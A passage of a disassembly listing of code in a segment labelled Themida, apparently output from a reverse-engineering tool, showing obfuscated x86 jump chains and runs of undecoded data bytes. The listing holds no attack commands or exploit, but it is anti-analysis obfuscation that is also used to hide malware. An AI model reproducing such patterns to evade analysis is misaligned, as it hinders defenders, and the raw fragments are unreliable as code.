0E958FFFFh, 0FFFF7A87h ; --------------------------------------------------------------------------- loc_59B0A8: ; CODE XREF: Themida_:00595032j sub ecx, edx sub ecx, 59710694h mov edx, ecx pop ecx sub edx, 0FA2CE024h push esi jmp loc_596F1D ; --------------------------------------------------------------------------- db 55h dd 0FF9504E9h db 0FFh ; --------------------------------------------------------------------------- loc_59B0C5: ; CODE XREF: Themida_:00590A68j push esi mov esi, 4093759Bh jmp loc_5A1367 ; --------------------------------------------------------------------------- dd 1665D66h, 49F1E9F7h, 24680000h, 0E900005Ch, 0FFFF5D07h dd 0E924048Fh, 0FFFFE1E6h ; --------------------------------------------------------------------------- loc_59B0EC: ; CODE XREF: Themida_:0059F1F9j pop esi push 19A7h jmp loc_597D67 ; --------------------------------------------------------------------------- db 89h dd 0DCE92414h, 59FFFF32h, 0D5E9C588h, 0F7000045h, 1EF81D7h dd 0E96AC0EDh, 0FFFFCDBCh, 0A3E9E289h, 89000023h, 1AFDE9C7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59B122: ; CODE XREF: Themida_:0059E770j xchg esi, [esp] pop esp mov edx, [esp] jmp loc_5A0CC7 ; --------------------------------------------------------------------------- dw 9BEh dd 0E97DB20Fh, 0FFFFAA6Bh, 0FFC3885Bh, 0E9582434h, 0FFFFE97Fh dd 3304EA83h, 14312414h, 0F092E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B152: ; CODE XREF: Themida_:0059101Cj push ecx mov ecx, 25554986h inc ecx neg ecx sub ecx, 0B4EC7184h mov edx, ecx pop ecx jmp loc_5A036F ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 0F6h dd 89FFFF72h, 4C581E5h, 50000000h, 0FF7D89E9h, 4C381FFh dd 81000000h, 4EBh, 78F6E900h, 6855FFFFh, 29F077F6h, 7AEA815Dh dd 81277B06h, 0F156D7EAh, 81EA015Dh, 0F156D7C2h, 7AC2815Dh dd 5D277B06h, 0FFF72FE9h db 0FFh ; --------------------------------------------------------------------------- loc_59B1B5: ; CODE XREF: Themida_:00599E47j sub ecx, 45E879FBh add ecx, ebx add ecx, 45E879FBh jmp loc_5A246D ; --------------------------------------------------------------------------- loc_59B1C8: ; CODE XREF: Themida_:00592704j dec ecx neg ecx and ecx, 3D9F3799h sub ecx, 380AFFFCh mov ebx, ecx pop ecx jmp loc_59F720 ; --------------------------------------------------------------------------- aFSv db 'f[éV)',0 align 2 loc_59B1E6: ; CODE XREF: Themida_:00593357j mov edx, [esp] add esp, 4 pop ecx sub esp, 2 mov [esp], cx mov ch, 0C2h add bl, ch pop cx push 3633h jmp loc_59E2E8 ; --------------------------------------------------------------------------- db 83h dd 48904ECh, 0BFA0E924h, 0B850FFFFh, 72F80778h, 0FFC47BE9h db 0FFh ; --------------------------------------------------------------------------- loc_59B21D: ; CODE XREF: Themida_:0058EB04j add ebp, 151319Eh mov edi, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp and eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 or eax, eax jz loc_59A982 push dword ptr [edi+28h] xor dword ptr [esp], 6C334CF2h push dword ptr [esp] jmp loc_59349D ; --------------------------------------------------------------------------- loc_59B261: ; CODE XREF: Themida_:005A064Aj xor ch, 2Fh push cx mov ch, 0E3h jmp loc_5A0016 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FF240C89h, 0FF042474h, 0C8B2434h, 4C48124h, 56000000h dd 0C681E689h, 4, 8704C683h, 0E95C2434h, 0FFFFD98Dh, 4D54C581h dd 34FF6258h, 0C4835A24h, 2B95104h, 1000000h, 2C8759CDh dd 24248B24h, 4BB0F66h, 77E99C24h db 93h, 2 dup(0FFh) byte_59B2BF db 8Fh ; DATA XREF: Themida_:0058E218o dd 8CE94047h, 0B8FFFF30h, 1B73511Eh, 60A4B2Dh, 960DE9AFh dd 0F8BFFFFFh, 4F102A6Fh, 3EFC147h, 74AF781h, 0A3E95DBAh dd 81FFFF98h, 0F1DB3C5h, 0E9D52928h, 0FFFF7126h, 1D3D68h dd 241C8900h, 0FFA4A7E9h db 0FFh ; --------------------------------------------------------------------------- loc_59B305: ; CODE XREF: Themida_:0059EA52j xor dl, 0E0h push eax mov ah, dl mov bl, ah pop eax jmp loc_599D47 ; --------------------------------------------------------------------------- db 83h dd 0EC8304C4h, 24148904h, 0CD2D82BAh, 2EAC113h, 0FF462DE9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ecx, 4 push 31B6h mov [esp], ebx mov ebx, 4 jmp loc_599D6E ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 4BAh, 246C8100h, 634CCA04h, 4D88E901h, 0BF57FFFFh, 332A02AAh dd 0DDE9F929h, 66000046h, 22474FFh, 29E4E9h db 0 ; --------------------------------------------------------------------------- loc_59B37D: ; CODE XREF: Themida_:0058F26Ej push eax mov eax, 92A07DAh add ebp, 688E1699h jmp loc_5A10EB ; --------------------------------------------------------------------------- dw 215Ch dd 2434FFC8h, 81240C8Bh, 4C4h, 4C48100h, 0C1000000h, 0C83108E8h dd 8904EC83h, 5A542414h, 4826855h, 2C8B62F1h, 4156E924h dd 18BEFFFFh, 1F1CDDBh, 0D8895EF3h, 0FF85E4E9h, 0D5F758FFh dd 6688E945h, 0EF830000h, 243C8704h, 240C895Ch, 8904EC83h dd 4812424h, 424h, 2434FF00h, 4C48359h, 0FFC187E9h, 35E581FFh dd 56228E1Eh, 8A47E955h, 489FFFFh, 74B1B824h, 56402C99h dd 27BA5253h, 8952CD41h, 56E95AD3h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B41F: ; CODE XREF: Themida_:00592D3Cj push edi mov edi, 4FE9393Ah xor edx, edi mov edi, [esp] jmp loc_590890 ; --------------------------------------------------------------------------- db 5Ch dd 0F6241C89h, 5B012454h, 0FF3460E9h db 0FFh ; --------------------------------------------------------------------------- loc_59B43D: ; CODE XREF: Themida_:005983C4j mov edi, edx jmp loc_599675 ; --------------------------------------------------------------------------- loc_59B444: ; CODE XREF: Themida_:0059D643j sub [esp+4], ebp pop ebp add [esp], eax add dword ptr [esp], 700E2851h sub dword ptr [esp], 6A3C600Bh add dword ptr [esp], 18BD58F4h push esi sub esp, 4 jmp loc_59B784 ; --------------------------------------------------------------------------- loc_59B46A: ; CODE XREF: Themida_:005977E8j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_58F908 ; --------------------------------------------------------------------------- dd 0E904EC83h, 0FFFFABCDh, 58E4F181h, 0D1F70C81h, 0D103E1C1h dd 0E4BE56E9h, 29FFCC80h, 2AAEE9F1h, 380D0000h, 40078D08h dd 0FF87ABE9h, 26856FFh, 5E000000h, 1FE9F201h db 18h, 2 dup(0) aMsW db '¬é·W',0 ; DATA XREF: Themida_:0058E200o dd 142FB900h, 0CE291BF9h, 7122E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59B4C6: ; CODE XREF: Themida_:00590C2Ej pop edx pop edi push 4E2Dh mov [esp], edx jmp loc_592A0B ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 0C9h dd 83000012h, 42D04C4h, 50000000h, 42474FFh, 8714E958h dd 0C89FFFFh, 83E18924h, 48904ECh, 4EC8324h, 0FF33DEE9h dd 0E80158FFh, 4335F5Dh, 24043124h, 8B240433h, 2CD22424h dd 38E99C24h, 80FFFF2Eh, 0ED80A6EDh, 0E9DD00C3h, 0FFFF3457h ; --------------------------------------------------------------------------- loc_59B528: ; CODE XREF: Themida_:0059FEDFj add bl, al push small 7E11h mov [esp], ax mov ah, 0E8h add bl, 54h add bl, ah sub bl, 54h mov ax, [esp] add esp, 2 push 76F9h jmp loc_59E103 ; --------------------------------------------------------------------------- dd 0E9241489h, 0FFFF75E5h, 0E902C783h, 0FFFFD094h, 8124148Bh dd 4C4h, 5A545200h, 4C281h, 38E90000h, 87000069h, 0B0E9242Ch dd 8BFFFFFEh, 0C481240Ch, 4, 0E9C1D9F7h, 0FABCE903h, 1C89FFFFh dd 88E5B724h, 0FB9AE9F8h, 0C781FFFFh, 4, 8B243C87h, 88502424h dd 4EC83CCh, 88241489h, 285788E2h, 0FF9424E9h, 2EF281FFh dd 0C100B012h, 0F79202EAh, 0F28192D0h, 16B631DDh, 420E9h dd 395BBA00h, 0EA813722h, 1A4F6094h, 0FF4449E9h, 2434FFFFh dd 4C4815Dh, 83000000h, 57E904C7h, 53FFFFEFh, 12454F6h dd 139FE95Bh, 0E6890000h, 0FFE645E9h, 68E6D1FFh, 5A29h dd 0FF77E8E9h db 0FFh ; --------------------------------------------------------------------------- loc_59B615: ; CODE XREF: Themida_:0058FA18j neg al sub al, 1 sub al, 0C6h shl al, 2 xor al, 0A0h jmp loc_5909F8 ; --------------------------------------------------------------------------- db 0F7h, 0DEh, 0E9h dd 16B2h, 6568B6BAh, 0FFD0016Bh, 1BE92434h, 83FFFF85h dd 3C3304C7h, 243C3124h, 5C243C33h, 0EC81C300h, 4, 68ECE9h dd 0B8505E00h, 61320DCAh, 0E9D0F748h, 7A29h ; --------------------------------------------------------------------------- loc_59B664: ; CODE XREF: Themida_:00591D02j mov edx, 461C7872h jmp loc_5919E2 ; --------------------------------------------------------------------------- dw 17BDh dd 0E9FBB723h, 76CDh, 9DE6F281h, 0D701035Ch, 2C7835Ah dd 0FF8694E9h, 285866FFh, 2685AD5h, 8900004Dh, 0B753240Ch dd 0B6526690h, 66F730C0h, 8BFD885Ah, 0CFE9241Ch, 68000060h dd 7EAE0326h, 0E5E3E95Bh db 2 dup(0FFh) word_59B6B6 dw 51ACh ; DATA XREF: Themida_:0058E188o dd 0E950FAB1h, 0FFFFD22Ah, 81241C8Bh, 4C4h, 68C48000h dd 34FFE300h, 24048B24h, 4C481h, 69E90000h, 81FFFF3Ch dd 4C4h, 61CA6800h, 2C890000h, 575D5424h, 0FF41EDE9h db 0FFh ; --------------------------------------------------------------------------- loc_59B6F5: ; CODE XREF: Themida_:0059CEC8j inc ebx and ebx, 0CE51ADBh shr ebx, 8 push ecx mov ecx, 215D0AD4h xor ebx, ecx pop ecx add edx, ebx pop ebx jmp loc_59A379 ; --------------------------------------------------------------------------- dd 5795E952h, 0D6F7FFFFh, 877EE81h, 0F129AB96h, 0FF8458E9h dd 241C33FFh, 4F4BE9h db 0 ; --------------------------------------------------------------------------- loc_59B72D: ; CODE XREF: Themida_:0059A563j push esi mov esi, 11C918CAh sub edi, 99D0F40h jmp loc_59E4FD ; --------------------------------------------------------------------------- dw 34FFh dd 240C8B24h, 7510E9h, 24148900h, 42474FFh, 5A2434FFh dd 81E28952h, 4C2h, 4C28300h, 0E9241487h, 0FFFFF5E0h, 80ABC480h dd 0E5002BF4h, 96E95866h, 89FFFF5Ch, 4C581E5h, 0E9000000h dd 0FFFF7DDBh ; --------------------------------------------------------------------------- loc_59B784: ; CODE XREF: Themida_:0059B465j mov [esp], ebp push 2F250B7Ch mov ebp, [esp] add esp, 4 push eax mov eax, 386377C6h add ebp, eax pop eax shl ebp, 4 push 538Eh mov [esp], eax mov eax, 0F2870B96h add ebp, eax pop eax mov esi, ebp pop ebp add [esp+4], esi jmp loc_590A2D ; --------------------------------------------------------------------------- dw 0C483h dd 5B9BE904h, 8B660000h, 52682404h, 89000025h, 0E9242Ch dd 81FFFFB3h, 103CE5C6h, 165DE92Fh, 0DA870000h, 0EA814A5Bh dd 232160ADh, 0B09CEA81h, 0ED053D19h, 166FA42h, 42ED2DD0h dd 0E95A66FAh, 0AB6h, 0F44BDEBFh, 77CF8154h, 0C13E2C60h dd 0EFC108EFh, 4E7C106h, 0F781DFF7h, 0F29259ABh, 2D5FF829h dd 2F405EB5h, 19968h, 242C8900h, 81480ABDh, 5DE8012Bh dd 3392BE56h, 0CB05243Eh, 14C6638h, 38CB2DF0h, 8B5E4C66h dd 0C483240Ch, 0B747E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B852: ; CODE XREF: Themida_:0059F5DEj sub ecx, 312F1B25h neg ecx inc ecx shl ecx, 5 neg ecx push esi mov esi, 59BF9FB9h add ecx, esi pop esi jmp loc_597511 ; --------------------------------------------------------------------------- dw 0FF55h dd 5D042474h, 0FF727BE9h, 0EA2958FFh, 1EA815Dh, 0E94D8E28h dd 0FFFF2ACBh, 4BBh, 0E9D80100h, 0FFFFECC8h, 3EFBE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B89A: ; CODE XREF: Themida_:00594B69j push ecx mov ecx, 4 add eax, ecx pop ecx sub eax, 4 xchg eax, [esp] pop esp jmp loc_599B4A ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24343300h, 33243431h, 248B2434h, 240CD324h, 2A89E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B8CA: ; CODE XREF: Themida_:0058F170j sub edx, 70D379D5h add edx, esi add edx, 70D379D5h mov esi, [esp] add esp, 4 sub edx, 4 xor edx, [esp] jmp loc_58EAB4 ; --------------------------------------------------------------------------- dd 8F34E3B9h, 28E98146h, 522FB050h, 0D44FC2BAh, 98CA8175h dd 0C1067D67h, 0ECE903E2h, 5DFFFF51h, 142DE9h, 4ED8300h dd 5C242C87h, 68240489h, 5CD4h, 68240C89h, 7DE0h, 68242C89h dd 61C27C92h, 4475E9h db 0 byte_59B935 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058E0D4o dd 5D545524h, 4C581h, 0EC830000h, 24148904h, 0B357B968h dd 24148B46h, 4C481h, 0BB530000h, 1, 1C8BDA29h, 4C48324h dd 68h, 24142900h, 0FF837DE9h, 24248BFFh, 6768E9F7h, 0E9000037h dd 3CF3h, 8958C529h, 242C8BE8h, 0E904C483h, 6F3Eh, 4244481h dd 26E52447h, 4244481h, 5DB23B3Fh, 4246C81h, 3A2D7B7Dh dd 4245401h, 4244481h, 3A2D7B7Dh, 0FF36C3E9h, 24248BFFh dd 0BE243489h, 68A4227Fh, 34FFF029h, 24348B24h, 5699E9h db 0 ; --------------------------------------------------------------------------- loc_59B9D1: ; CODE XREF: Themida_:005A0BF5j push ecx mov ecx, 76BB70D8h xor ecx, 19A3384Ch dec ecx xor ecx, 6F184897h jmp loc_58F532 ; --------------------------------------------------------------------------- db 59h, 80h, 0C7h dd 0ACC78036h, 0FFA3FEE9h, 93F281FFh, 29CE8DF3h, 2434FFD0h dd 0E924148Bh, 4B5Eh, 0C281E289h, 4, 61E95256h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59BA17: ; CODE XREF: Themida_:00590EC5j mov ecx, 4 add eax, ecx pop ecx push ebp jmp loc_599D79 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFBBEEE9h, 0FF5450FFh, 81582434h, 4C4h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 4 push ebp push edx sub esp, 4 mov [esp], edi jmp loc_590C21 ; --------------------------------------------------------------------------- loc_59BA64: ; CODE XREF: Themida_:0059EEF5j sub esp, 4 mov [esp], esi mov esi, 0 mov eax, esi jmp loc_5951E2 ; --------------------------------------------------------------------------- db 68h, 0B6h, 32h dd 815E3DCDh, 355693CEh, 96CE817Ah, 466D1D52h, 1E0EF681h dd 0F5891498h, 8124348Bh, 4C4h, 4EC8100h, 89000000h, 50BD242Ch dd 81607475h, 0D7A679C5h, 0E9E829E8h, 72E4h, 0C026E180h dd 0C18005E9h, 0F6C1FEECh, 0FEC9FED9h, 6FB652C9h, 524BE9h dd 72F18100h, 0E9220528h, 42D6h dword_59BADC dd 1BF105ADh, 0D8013AADh, 1BF1BF57h, 0BE563AADh, 9D754F3h ; DATA XREF: Themida_:0058E21Co dd 525EF029h, 6A6B6EBAh, 693FE97Dh, 0ED810000h, 1F9E19B4h dd 0FFEA13E9h db 0FFh ; --------------------------------------------------------------------------- loc_59BB09: ; CODE XREF: Themida_:0059141Aj add esp, 4 push eax mov eax, 51090FBCh dec eax add eax, 0C387120h and eax, 2198642Bh push ebp jmp loc_59862A ; --------------------------------------------------------------------------- byte_59BB23 db 66h ; DATA XREF: Themida_:0058E0F8o dd 0E9240C8Bh, 503Eh, 592434FFh, 4DE95456h db 3Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59BB37: ; CODE XREF: Themida_:0058ED1Cj push 63A8h mov [esp], edx mov dl, 67h sub dl, 49h shl dl, 5 jmp loc_5A0AE2 ; --------------------------------------------------------------------------- dd 242C895Ch, 0FFC0D0E9h, 8BE730FFh, 89522404h, 4C281E2h dd 83000000h, 14E904C2h, 0B8FFFF3Ch, 14486B86h, 135D8F7h dd 9AF98C6h, 24048BC3h, 81E68956h, 4C6h, 4C68300h, 0E9243433h dd 0CC3h ; --------------------------------------------------------------------------- loc_59BB90: ; CODE XREF: Themida_:00591BE5j mov edx, [esp] add esp, 4 push 5359h mov [esp], ecx mov ecx, 6D682484h jmp loc_5A2E6D ; --------------------------------------------------------------------------- loc_59BBA8: ; CODE XREF: Themida_:0059B06Bj pop esi jmp loc_596321 ; --------------------------------------------------------------------------- dw 50BDh dd 108A4B6h, 240C8BCDh, 2A65E9h, 0AF685500h, 89000015h dd 0A2E9241Ch, 0BBFFFF33h, 0A5A70F58h, 895BDF01h, 0DF015FFBh dd 50A3E95Bh, 248BFFFFh, 240C8924h, 3D51B1B9h, 0A0E95277h db 46h, 2 dup(0FFh) byte_59BBEF db 83h ; DATA XREF: Themida_:0058E1B8o dd 2C8904ECh, 2039E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59BBFA: ; CODE XREF: Themida_:005A1B17j sub edx, 66822774h sub edx, 419D1FF8h jmp loc_596EB1 ; --------------------------------------------------------------------------- db 57h dd 94E9E789h db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59BC13: ; CODE XREF: Themida_:005A17A6j jmp loc_58E353 ; --------------------------------------------------------------------------- dd 0FF665366h, 66022474h, 2DFBE95Bh, 0F387FFFFh, 0FFAE0FE9h db 0FFh ; --------------------------------------------------------------------------- loc_59BC2D: ; CODE XREF: Themida_:0059A773j push eax mov eax, 6B0F3FB6h add dword ptr [esp+4], 3DF847E4h sub [esp+4], eax jmp loc_59A7A1 ; --------------------------------------------------------------------------- loc_59BC44: ; CODE XREF: Themida_:00593BF5j add eax, edx push ebx mov ebx, 50066E28h sub ebx, 451C6318h jmp loc_5A1F4D ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0BEC78100h, 161470Ch, 0BEEF81CFh, 8161470Ch, 1A5806C7h dd 240C8B66h, 8104C483h, 4ECh, 24048900h, 2BB53h, 0CE90000h dd 81FFFF39h, 274426EDh, 2C335841h, 0AD6BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59BC9A: ; CODE XREF: Themida_:0059C375j push 2BE42D67h pop edi not edi xor edi, 0D41BD299h mov ecx, edi jmp loc_590158 ; --------------------------------------------------------------------------- loc_59BCAF: ; CODE XREF: Themida_:00594CBBj sub eax, 28307AA5h add eax, edx add eax, 28307AA5h pop edx add eax, ecx jmp loc_5991F3 ; --------------------------------------------------------------------------- db 5Eh dd 3EE9FD01h, 5DFFFF6Ah, 8705EDC1h, 6ADBE9FDh, 295B0000h dd 24148BD0h, 4C481h, 0BE560000h, 2B81480Ah, 515EF029h dd 405EB5B9h, 0CB3E92Fh, 0B5510000h, 8BE82832h, 8951240Ch dd 6484E9E1h, 0EE83FFFFh, 24348704h, 59A3E95Ch, 89510000h dd 0D8CFE9E1h, 0C581FFFFh, 0ED31881h, 0FEE2C581h, 0EE89D7A8h dd 52E6815Dh, 56312343h, 0E92414F7h, 0FFFFA069h ; --------------------------------------------------------------------------- loc_59BD38: ; CODE XREF: Themida_:0059D9B7j not eax add eax, 1 sub eax, 9A0DB0A2h add esi, eax pop eax xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5A0216 ; --------------------------------------------------------------------------- db 0BEh, 4Bh, 0 dd 0EBE93580h, 89FFFF52h, 0EB815DEBh, 43DA6F72h, 8303EBC1h dd 0F381FFEBh, 3F4D0798h, 1F4AE381h, 0C381539Fh, 1EB30C75h dd 0F75BD929h, 0E913E9D9h, 5BFFFFh, 0C8B66C8h, 2C48324h dd 0BCE9D828h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_59BD9B: ; CODE XREF: Themida_:00594730j pop dword ptr [esp] pop esp sub [esp+4], ebx add dword ptr [esp+4], 1DDB3106h pop ebx jmp loc_59FA87 ; --------------------------------------------------------------------------- db 81h, 0C1h, 0F0h dd 810CC618h, 0AC6B4FEEh, 57EE8143h, 10C654Dh, 57C681CEh dd 810C654Dh, 0AC6B4FC6h, 9366E943h, 0C681FFFFh, 0FFFFFFFFh dd 0FF9D82E9h, 554EBDFFh, 535202B4h, 354D75BBh, 93FBA7Bh dd 0DA313A5Ah, 5AD5315Bh, 0FF90FEE9h, 0E9D388FFh, 0FFFFA856h dd 0D67DE95Ch, 835CFFFFh, 48904ECh, 277B824h, 71055A15h dd 51CFA174h, 2F39C2B9h, 46E1810Fh, 0C10FD311h, 0C18103E9h dd 79C81976h, 4B8E981h, 300551F2h, 0E968BE52h, 0FFFF30D3h dd 0E92434FFh, 0FFFF6ACAh, 6EE9FE88h db 33h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59BE4F: ; CODE XREF: Themida_:00590524j sub dh, 0FFh sub esp, 4 mov [esp], ebx mov bl, 45h inc bl shr bl, 2 sub esp, 4 mov [esp], ecx mov cl, 0D0h or bl, cl pop ecx sub bl, 0B6h xor dh, bl mov ebx, [esp] push ecx jmp loc_59AB1F ; --------------------------------------------------------------------------- dw 34FFh dd 0F6DAE924h, 0F829FFFFh, 1215E9h db 0 ; --------------------------------------------------------------------------- loc_59BE8D: ; CODE XREF: Themida_:005999EAj sub edx, 4 jmp loc_59CFAE ; --------------------------------------------------------------------------- db 31h, 34h, 24h dd 5C243433h, 89242C89h, 4C581E5h, 83000000h, 2C8704C5h dd 685D5C24h, 662Ch, 0BB241C89h, 400h, 34FFD821h, 54525B24h dd 4DE5E9h db 0 ; --------------------------------------------------------------------------- loc_59BEC9: ; CODE XREF: Themida_:00596C13j mov [esp], ebp push eax push 6A12h mov [esp], edi jmp loc_591E02 ; --------------------------------------------------------------------------- loc_59BEDA: ; CODE XREF: Themida_:0059A92Cj add esp, 4 sub eax, 66F67FC2h jmp loc_58F232 ; --------------------------------------------------------------------------- db 51h dd 7A3D20B9h, 62F1812Ah, 50030E36h, 5055D4B8h, 58C1313Ah dd 8B59CE29h, 0C483242Ch, 24348704h, 0FF3108E9h, 68D6F7FFh dd 3746h, 0E9240C89h, 0FFFFF59Dh, 5C243C33h, 24042166h dd 2429E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59BF2A: ; CODE XREF: Themida_:0059488Cj mov dl, 33h jmp loc_59767C ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 68241489h, 517E7BB6h, 0AAE2815Ah, 81150456h, 9627EBCAh dd 4EC8149h, 89000000h, 7E68242Ch, 5D205978h, 0E949CD87h dd 0FFFF7A7Bh, 33C8E981h, 0D12970BCh, 33C8C181h, 875A70BCh dd 0E95C240Ch, 6D22h, 8059EC30h, 0C6804DECh, 0E9E600DFh dd 0FFFF3B33h, 89D0E95Ah db 2 dup(0FFh) aFrs db 'fRé{$',0 ; DATA XREF: Themida_:0058E2E8o dd 0D3685100h, 595B4921h, 4366E9h, 4C48100h, 52000000h dd 42474FFh, 0E924148Bh, 66C4h, 8104C483h, 4C7h, 4EF8300h dd 0FFCD4FE9h db 0FFh byte_59BFC5 db 66h, 8Bh, 24h ; DATA XREF: Themida_:0058E0D0o dd 2385E924h, 0EB88FFFFh, 24148B59h, 0E904C483h, 0FFFFE451h dd 4EC81h, 25E90000h, 1FFFFCEh, 0C18358C1h, 240C8704h dd 47BEE95Ch, 0C5810000h, 0CF42BAA2h, 2C8BE901h, 4C48124h dd 0E9000000h, 0FFFF87B6h, 18E8C15Ch, 0AC68C831h, 89000070h dd 34312404h, 24343324h, 31243431h, 31F731FEh, 4EC81FEh dd 89000000h, 0E956243Ch, 566Fh ; --------------------------------------------------------------------------- loc_59C038: ; CODE XREF: Themida_:0059CE05j xor bl, 91h dec bl add bl, 20h jmp loc_59408F ; --------------------------------------------------------------------------- db 29h, 0F8h, 5Fh dd 5C240487h, 57240C89h, 7A6412BFh, 3AB9511Ch, 916BE09h dd 0F78159CFh, 1EFE6D38h, 0E95FF989h, 0FFFF999Ah, 8B1C6F09h dd 0E950242Ch, 58FCh, 5524048Fh, 4BDh, 246C0100h, 3C8B5D04h dd 0E7895724h, 0FF8872E9h db 0FFh ; --------------------------------------------------------------------------- loc_59C091: ; CODE XREF: Themida_:005974E1j add ecx, ebx pop ebx add edi, ecx pop ecx mov edx, edi mov edi, [esp] add esp, 4 push edi mov edi, 20BC1BD0h add edx, edi pop edi sub esi, edx mov edx, [esp] add esp, 4 jmp loc_58F45E ; --------------------------------------------------------------------------- dd 6853E2D1h, 6E883234h, 35EB815Bh, 296E8832h, 1C8B245Fh dd 4EC8124h, 89000000h, 0E189240Ch, 2725BB53h, 0BF573BAEh dd 5C406DECh, 4B5FFB29h, 8103EBC1h, 0EDB723EBh, 74C1811Bh dd 81445C01h, 475503C1h, 7DC18153h, 1233203h, 7DE981D9h dd 81233203h, 475503E9h, 74E98153h, 8B445C01h, 0C483241Ch dd 6922E904h, 34890000h, 2474FF24h, 48F5E04h, 0E9815C24h dd 4, 33BAE9h, 0E6C15B00h, 1EE8102h, 0F7000000h, 4ED6F7DEh dd 451BE9h, 89666400h, 21FDE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C156: ; CODE XREF: Themida_:00597F19j push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_595639 ; --------------------------------------------------------------------------- loc_59C162: ; CODE XREF: Themida_:005A0965j pop ebx xchg ebp, [esp] pop esp mov [esp], esi push ebx mov ebx, 2 push ecx push ebx jmp loc_5A2837 ; --------------------------------------------------------------------------- db 81h dd 5858FFC9h, 0DD45E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C182: ; CODE XREF: Themida_:005A1F59j sub eax, 1F531804h add eax, ebx add eax, 1F531804h push dword ptr [esp] pop ebx add esp, 4 jmp loc_592E30 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h aLS4q db '‹$$é4Q',0 align 4 dd 31240C33h, 0C33240Ch, 24248B24h, 16B68h, 24248900h dd 7E0FBE56h, 0F681426Ch, 5F8E513Dh, 5656C681h, 0F6816A04h dd 87E6858Ch, 4247401h, 24048F5Eh, 81E68956h, 4C6h, 5F50E900h dd 0E781FFFFh, 1D7105A7h, 44A2C781h, 0B85031BEh, 233418A3h dd 29D8EA81h, 0C2010EB9h, 61DE68h, 243C8900h, 0B929D8BFh dd 5FFA010Eh, 8324048Bh, 0FA2904C4h, 18A3EA81h, 0E95F2334h dd 5271h, 4B0F68h, 24148900h, 0B951E289h, 4, 5689E9h, 6800h dd 14290000h, 0E2C15A24h, 0BF0CE903h, 0ED81FFFFh, 0EBC0C709h dd 2D2CB92Dh, 5E82927h, 272D2CB9h, 0BFACE95Dh, 0C483FFFFh dd 0F2015D04h, 243C8B5Eh, 8304C483h, 0FF5202C2h, 5A042474h dd 8B24048Fh, 0C0E92424h, 81FFFF2Eh, 1B39D3F5h, 3CE581F6h dd 813D787Bh, 182A2EF5h, 96C68105h, 8113245Eh, 0FA6C38C6h dd 0E9EE012Ch, 0FFFFED3Dh, 0B4D6B753h, 5AE9E9A0h, 0E883FFFFh dd 24048704h, 241C895Ch, 0FF3A94E9h db 0FFh ; --------------------------------------------------------------------------- loc_59C2C5: ; CODE XREF: Themida_:0059F541j mov eax, 2223358Eh jmp loc_59F487 ; --------------------------------------------------------------------------- db 0BBh dd 75C37148h, 815BDA89h, 0B36CDEE2h, 98EA8107h, 313FCD5Fh dd 24148BD3h, 4C481h, 0DD010000h, 81241C8Bh, 4C4h, 4C58300h dd 180AE9h, 12F0BB00h, 0E1E9D822h, 8BFFFFDEh, 89572404h dd 4C781E7h, 0E9000000h, 0FFFF4DC2h dword_59C31C dd 240C8B66h, 8904EC83h, 0E189240Ch, 8904EC83h, 0F0E9241Ch ; DATA XREF: Themida_:0058E23Co dd 0C100005Fh, 0F78106E7h, 793C779Fh, 64CCE9h, 0C4835C00h dd 8BD82104h, 0C483241Ch, 58515004h, 0E9D1F759h, 0FFFFDBEFh ; --------------------------------------------------------------------------- loc_59C358: ; CODE XREF: Themida_:00599E74j push edi push ecx mov ecx, 1E8271DEh mov edi, ecx pop ecx shl edi, 6 add edi, 19D262ECh sub esp, 4 mov [esp], ecx push edi jmp loc_59BC9A ; --------------------------------------------------------------------------- dw 0EF81h dd 74DF5119h, 45A0EF81h, 0CF01758Bh, 0FFABDBE9h, 65B968FFh dd 14890000h, 1038E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59C39A: ; CODE XREF: Themida_:005972C3j mov eax, 1E882743h add [esp+0Ch], eax pop eax jmp loc_5A0E62 ; --------------------------------------------------------------------------- db 5Fh, 31h, 0E8h dd 52242C8Bh, 0C281E289h, 4, 8704C283h, 0F7E92414h, 6800005Ah dd 513B3350h, 0FFDDB8E9h, 241C8BFFh, 0E904C483h, 0FFFF32AFh dd 2B79C681h, 0DE010645h, 2B79EE81h, 575B0645h, 8AFDE951h dd 0E954FFFFh, 0FFFF3D29h ; --------------------------------------------------------------------------- loc_59C3F4: ; CODE XREF: Themida_:00598486j push dword ptr [esp] mov edx, [esp] add esp, 4 push edi push esp 